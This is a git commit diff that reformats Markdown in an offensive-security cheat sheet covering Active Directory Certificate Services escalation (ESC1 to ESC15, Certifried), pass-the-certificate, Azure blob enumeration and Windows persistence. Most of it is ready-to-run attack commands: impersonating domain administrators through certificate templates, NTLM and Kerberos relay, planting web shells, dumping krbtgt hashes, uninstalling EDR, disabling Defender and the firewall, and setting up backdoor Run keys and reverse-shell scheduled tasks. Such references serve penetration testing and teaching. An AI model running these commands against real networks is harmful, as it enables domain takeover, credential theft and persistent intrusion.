Fix markdown syntax
Swissky
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ea7e265dac
commit
a98066199a
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@ -1,7 +1,6 @@
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# Active Directory - Certificate Services
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Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
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Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
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## ADCS Enumeration
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@ -9,18 +8,16 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
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* ldapsearch: `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
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* certutil: `certutil.exe -config - -ping`, `certutil -dump`
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## Certificate Enrollment
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* DNS required (`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS` or `CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS`): only principals with their `dNSHostName` attribute set can enroll.
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* Active Directory Users cannot enroll in certificate templates requiring `dNSHostName`.
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* Computers will get their `dNSHostName` attribute set when you **domain-join** a computer, but the attribute is null if you simply create a computer object in AD.
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* Computers have validated write to their `dNSHostName` attribute meaning they can add a DNS name matching their computer name.
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* Active Directory Users cannot enroll in certificate templates requiring `dNSHostName`.
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* Computers will get their `dNSHostName` attribute set when you **domain-join** a computer, but the attribute is null if you simply create a computer object in AD.
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* Computers have validated write to their `dNSHostName` attribute meaning they can add a DNS name matching their computer name.
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* Email required (`CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` or `CT_FLAG_SUBJECT_REQUIRE_EMAIL`): only principals with their `mail` attribute set can enroll unless the template is of schema version 1.
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* By default, users and computers do not have their `mail` attribute set, and they cannot modify this attribute themselves.
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* Users might have the `mail` attribute set, but it is rare for computers.
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* By default, users and computers do not have their `mail` attribute set, and they cannot modify this attribute themselves.
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* Users might have the `mail` attribute set, but it is rare for computers.
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## ESC1 - Misconfigured Certificate Templates
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@ -30,12 +27,12 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
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* Template that allows for AD authentication
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* **ENROLLEE_SUPPLIES_SUBJECT** flag
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* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
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* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
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**Exploitation**
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* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
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```ps1
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Certify.exe find /vulnerable
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Certify.exe find /vulnerable /currentuser
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@ -46,18 +43,24 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
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# or
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python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
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```
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* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
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```ps1
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# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
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Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
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certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
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certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
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```
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* Use OpenSSL and convert the certificate, do not enter a password
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```ps1
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openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
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```
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* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
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```ps1
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Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
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```
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@ -66,7 +69,6 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
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**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
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## ESC2 - Misconfigured Certificate Templates
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**Requirements**
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@ -76,45 +78,53 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
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**Exploitation**
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* Find template
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```ps1
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PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
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# or
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python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
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```
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* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
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* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
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## ESC3 - Misconfigured Enrollment Agent Templates
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> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
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* Request a certificate based on the vulnerable certificate template ESC3.
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```ps1
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$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
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[*] Saved certificate and private key to 'john.pfx'
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```
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* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
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```ps1
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$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
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```
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* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
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```ps1
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certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
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```
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## ESC4 - Access Control Vulnerabilities
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> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
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* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
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```ps1
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python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
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```
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* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
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```ps1
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python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
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# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
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C:\>StandIn.exe --adcs --filter WebServer --ess --add
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```
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* Perform ESC1 and then restore the value
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```ps1
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python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
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```
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@ -130,7 +140,6 @@ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'E
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certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
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```
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## ESC5 - Vulnerable PKI Object Access Control
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> Escalate the privileges from **Domain Administrator** in the child domain into **Enterprise Administrator** at the forest root.
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@ -142,7 +151,7 @@ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe06709
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**Exploitation**:
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* Use `PsExec` to launch `mmc` as SYSTEM on the child DC: `psexec.exe /accepteula -i -s mmc`
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* Use `PsExec` to launch `mmc` as SYSTEM on the child DC: `psexec.exe /accepteula -i -s mmc`
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* Connect to "Configuration naming context" > "Certificate Template" container
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* Open `certsrv.msc` as SYSTEM and duplicate an existing template
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* Edit the properties of the template to:
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@ -154,18 +163,20 @@ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe06709
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* Publish by adding the template to the list in `certificateTemplate` property of `CN=Services`>`CN=Public Key Services`>`CN=Enrollment Services`>`pkiEnrollmentService`
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* Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
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## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
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## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
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> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
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> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
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**Exploitation**
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* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
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```ps1
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Certify.exe cas
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```
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* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
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```ps1
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.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
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```
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@ -174,24 +185,30 @@ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe06709
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* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
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## ESC7 - Vulnerable Certificate Authority Access Control
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**Exploitation**
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* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
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```ps1
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Certify.exe find /vulnerable
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```
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* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
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```ps1
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Certify.exe setconfig /enablesan /restart
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```
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* Request the certificate with the desired SAN.
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```ps1
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Certify.exe request /template:User /altname:super.adm
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```
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* Grant approval if required or disable the approval requirement
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```ps1
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# Grant
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Certify.exe issue /id:[REQUEST ID]
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@ -199,7 +216,7 @@ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe06709
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Certify.exe setconfig /removeapproval /restart
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```
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Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
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Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
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```ps1
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# Get the current CDP list. Useful to find remote writable shares:
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@ -215,7 +232,6 @@ Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
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Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
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```
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## ESC8 - AD CS Relay Attack
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> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
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@ -223,6 +239,7 @@ Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /
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Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101)
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* **Version 1**: NTLM Relay + Rubeus + PetitPotam
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```powershell
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impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
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impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
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@ -246,6 +263,7 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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```
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* **Version 2**: NTLM Relay + Mimikatz + Kekeo
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```powershell
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impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
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@ -261,6 +279,7 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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```
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* **Version 3**: Kerberos Relay
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```ps1
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# Setup the relay
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sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
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@ -270,6 +289,7 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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```
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* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
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```powershell
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https://github.com/bats3c/ADCSPwn
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adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
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@ -291,11 +311,11 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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```
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* **Version 5**: Certipy ESC8
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```ps1
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certipy relay -ca 172.16.19.100
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```
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## ESC9 - No Security Extension
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**Requirements**
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@ -307,34 +327,42 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
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**Scenario**
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John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local.
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Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
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<John@corp.local> has **GenericWrite** over <Jane@corp.local>, and we want to compromise <Administrator@corp.local>.
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<Jane@corp.local> is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.
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* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
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```ps1
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certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
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```
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* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
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```ps1
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certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
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```
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* Request the vulnerable certificate template ESC9 from Jane's account.
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```ps1
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certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
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# userPrincipalName in the certificate is Administrator
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# the issued certificate contains no "object SID"
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```
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* Restore userPrincipalName of Jane to Jane@corp.local.
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* Restore userPrincipalName of Jane to <Jane@corp.local>.
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```ps1
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certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
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```
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* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
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* Authenticate with the certificate and receive the NT hash of the <Administrator@corp.local> user.
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```ps1
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certipy auth -pfx administrator.pfx -domain corp.local
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# Add -domain <domain> to your command line since there is no domain specified in the certificate.
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```
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## ESC11 - Relaying NTLM to ICPR
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> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.
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@ -348,29 +376,31 @@ Exploitation:
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1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
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2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
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```ps1
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ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
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```
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## ESC12 - ADCS CA on YubiHSM
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The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
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The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
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Unlocking the YubiHSM with the plaintext password in the registry key: `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`.
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* Importing the CA certificate into the user store
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```ps1
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certutil -addstore -user my <CA certificate file>
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```
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* Associated with the private key in the YubiHSM2 device
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```ps1
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certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
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```
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||||
|
||||
* Finally use `certutil -sign ...`
|
||||
|
||||
|
||||
|
||||
## ESC13 - Issuance Policy
|
||||
|
||||
> If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
|
||||
|
|
@ -403,31 +433,33 @@ Members : {}
|
|||
**Exploitation**:
|
||||
|
||||
* Request a certificate for the vulnerable template
|
||||
|
||||
```ps1
|
||||
PS C:\> .\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template
|
||||
```
|
||||
|
||||
* Merge into a PFX file
|
||||
|
||||
```ps1
|
||||
PS C:\> certutil -MergePFX .\esc13.pem .\esc13.pfx
|
||||
```
|
||||
|
||||
* Verify the presence of the "Client Authentication" and the "Policy Identifier"
|
||||
|
||||
```ps1
|
||||
PS C:\> certutil -Dump -v .\esc13.pfx
|
||||
```
|
||||
|
||||
* Ask a TGT for our user, but we are also member of the linked group and inherited their privileges
|
||||
|
||||
```ps1
|
||||
PS C:\> .\Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap
|
||||
```
|
||||
|
||||
|
||||
## ESC15 - EKUwu Application Policies - CVE-2024-49019
|
||||
|
||||
This technique now has a CVE number and was patched on November 12, See [Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019) for more information.
|
||||
|
||||
|
||||
**Requirements**
|
||||
|
||||
* **Template Schema** Version 1
|
||||
|
|
@ -446,7 +478,6 @@ If there is a conflict between an Application Policy and an EKU, then Microsoft
|
|||
|
||||
> "Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft
|
||||
|
||||
|
||||
When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.
|
||||
|
||||
**ESC1** - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the `Server Authentication` EKU. Using [ly4k/Certipy PR #228](https://github.com/ly4k/Certipy/pull/228), we can add the `Client Authentication` EKU to `WebServer`. Anybody with the `Enroll` permission on this template can now compromise the domain.
|
||||
|
|
@ -460,7 +491,6 @@ add_user pentest_user
|
|||
add_user_to_group pentest_user "Domain Admins"
|
||||
```
|
||||
|
||||
|
||||
**ESC2/ESC3** - **Certificate Request Agent** (`1.3.6.1.4.1.311.20.2.1`),
|
||||
|
||||
```ps1
|
||||
|
|
@ -469,37 +499,47 @@ certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrato
|
|||
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
||||
```
|
||||
|
||||
|
||||
## Certifried CVE-2022-26923
|
||||
|
||||
> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
|
||||
|
||||
* Find `ms-DS-MachineAccountQuota`
|
||||
|
||||
```ps1
|
||||
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
|
||||
```
|
||||
|
||||
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
|
||||
|
||||
```ps1
|
||||
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
|
||||
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
|
||||
```
|
||||
|
||||
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
|
||||
|
||||
```ps1
|
||||
Rubeus.exe tgtdeleg
|
||||
export KRB5CCNAME=/tmp/ws02.ccache
|
||||
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
|
||||
```
|
||||
|
||||
* Set the `dNSHostName` attribute to match the Domain Controller hostname
|
||||
|
||||
```ps1
|
||||
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
|
||||
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
|
||||
```
|
||||
|
||||
* Request a ticket
|
||||
|
||||
```ps1
|
||||
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
|
||||
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
|
||||
```
|
||||
|
||||
* Either use the pfx or set a RBCD on your machine account to takeover the domain
|
||||
|
||||
```ps1
|
||||
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
|
||||
|
||||
|
|
@ -509,12 +549,12 @@ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
|||
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
|
||||
```
|
||||
|
||||
|
||||
## Pass-The-Certificate
|
||||
|
||||
> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
|
||||
|
||||
* Windows
|
||||
|
||||
```ps1
|
||||
# Information about a cert file
|
||||
certutil -v -dump admin.pfx
|
||||
|
|
@ -527,7 +567,9 @@ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
|||
# To restore
|
||||
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
|
||||
```
|
||||
|
||||
* Linux
|
||||
|
||||
```ps1
|
||||
# Base64-encoded PFX certificate (string) (password can be set)
|
||||
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
|
@ -543,17 +585,19 @@ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
|||
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
|
||||
```
|
||||
|
||||
|
||||
## UnPAC The Hash
|
||||
|
||||
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
|
||||
|
||||
* Windows
|
||||
|
||||
```ps1
|
||||
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
|
||||
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
|
||||
```
|
||||
|
||||
* Linux
|
||||
|
||||
```ps1
|
||||
# Obtain a TGT by validating a PKINIT pre-authentication
|
||||
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
|
@ -562,7 +606,6 @@ Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User vi
|
|||
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
|
||||
|
|
@ -592,4 +635,4 @@ Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User vi
|
|||
* [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12)
|
||||
* [ESC15/EKUwu PR #228 - dru1d-foofus - 10/08/2024](https://github.com/ly4k/Certipy/pull/228)
|
||||
* [EKUwu: Not just another AD CS ESC - Justin Bollinger - October 08, 2024](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
|
||||
* [ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - Oct 10, 2024](https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760)
|
||||
* [ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - Oct 10, 2024](https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760)
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@
|
|||
* Data Tables - `*.table.core.windows.net`
|
||||
* Queues - `*.queue.core.windows.net`
|
||||
|
||||
|
||||
## Enumerate blobs
|
||||
|
||||
```powershell
|
||||
|
|
@ -14,7 +13,6 @@ PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
|
|||
Found Storage Account - redacted.blob.core.windows.net
|
||||
```
|
||||
|
||||
|
||||
## List and download blobs
|
||||
|
||||
Visiting `https://<storage-name>.blob.core.windows.net/<storage-container>?restype=container&comp=list` provides a JSON file containing a complete list of the Azure Blobs.
|
||||
|
|
@ -50,7 +48,6 @@ $ curl -s -H "x-ms-version: 2019-12-12" 'https://<storage-name>.blob.core.window
|
|||
<Name>scripts-transfer.zip</Name>
|
||||
```
|
||||
|
||||
|
||||
```powershell
|
||||
PS Az> Get-AzResource
|
||||
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
|
||||
|
|
@ -64,19 +61,17 @@ Retrieve exposed containers with public access
|
|||
PS Az> (Get-AzStorageAccount | Get-AzStorageContainer).cloudBlobContainer | select Uri,@{n='PublicAccess';e={$_.Properties.PublicAccess}}
|
||||
```
|
||||
|
||||
|
||||
## SAS URL
|
||||
|
||||
* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
|
||||
* Click on **Open Connect Dialog** in the left menu.
|
||||
* Select **Blob container**.
|
||||
* Click on **Open Connect Dialog** in the left menu.
|
||||
* Select **Blob container**.
|
||||
* On the **Select Authentication Method** page
|
||||
* Select **Shared access signature (SAS)** and click on Next
|
||||
* Copy the URL in **Blob container SAS URL** field.
|
||||
|
||||
:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)
|
||||
|
|
|
|||
|
|
@ -36,10 +36,9 @@
|
|||
* [Golden Ticket](#golden-ticket)
|
||||
* [References](#references)
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
|
||||
* [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
|
||||
|
||||
## Hide Your Binary
|
||||
|
||||
|
|
@ -56,13 +55,16 @@ PS> attrib +h mimikatz.exe
|
|||
* [Sophos Removal Tool.ps1](https://github.com/ayeskatalas/Sophos-Removal-Tool/)
|
||||
* [Symantec CleanWipe](https://knowledge.broadcom.com/external/article/178870/download-the-cleanwipe-removal-tool-to-u.html)
|
||||
* [Elastic EDR/Security](https://www.elastic.co/guide/en/fleet/current/uninstall-elastic-agent.html)
|
||||
|
||||
```ps1
|
||||
cd "C:\Program Files\Elastic\Agent\"
|
||||
PS C:\Program Files\Elastic\Agent> .\elastic-agent.exe uninstall
|
||||
Elastic Agent will be uninstalled from your system at C:\Program Files\Elastic\Agent. Do you want to continue? [Y/n]:Y
|
||||
Elastic Agent has been uninstalled.
|
||||
```
|
||||
|
||||
* [Cortex XDR](https://mrd0x.com/cortex-xdr-analysis-and-bypass/)
|
||||
|
||||
```ps1
|
||||
# Global uninstall password: Password1
|
||||
Password hash is located in C:\ProgramData\Cyvera\LocalSystem\Persistence\agent_settings.db
|
||||
|
|
@ -123,7 +125,6 @@ reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpywa
|
|||
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
|
||||
```
|
||||
|
||||
|
||||
### Disable Windows Firewall
|
||||
|
||||
```powershell
|
||||
|
|
@ -158,7 +159,7 @@ Value name: Backdoor
|
|||
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
||||
```
|
||||
|
||||
Using the command line
|
||||
Using the command line
|
||||
|
||||
```powershell
|
||||
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
|
||||
|
|
@ -193,19 +194,23 @@ SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -
|
|||
### Scheduled Tasks User
|
||||
|
||||
* Using native **schtask** - Create a new task
|
||||
|
||||
```powershell
|
||||
# Create the scheduled tasks to run once at 00.00
|
||||
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
|
||||
# Force run it now !
|
||||
schtasks /run /tn "Device-Synchronize"
|
||||
```
|
||||
|
||||
* Using native **schtask** - Leverage the `schtasks /change` command to modify existing scheduled tasks
|
||||
|
||||
```powershell
|
||||
# Launch an executable by calling the ShellExec_RunDLL function.
|
||||
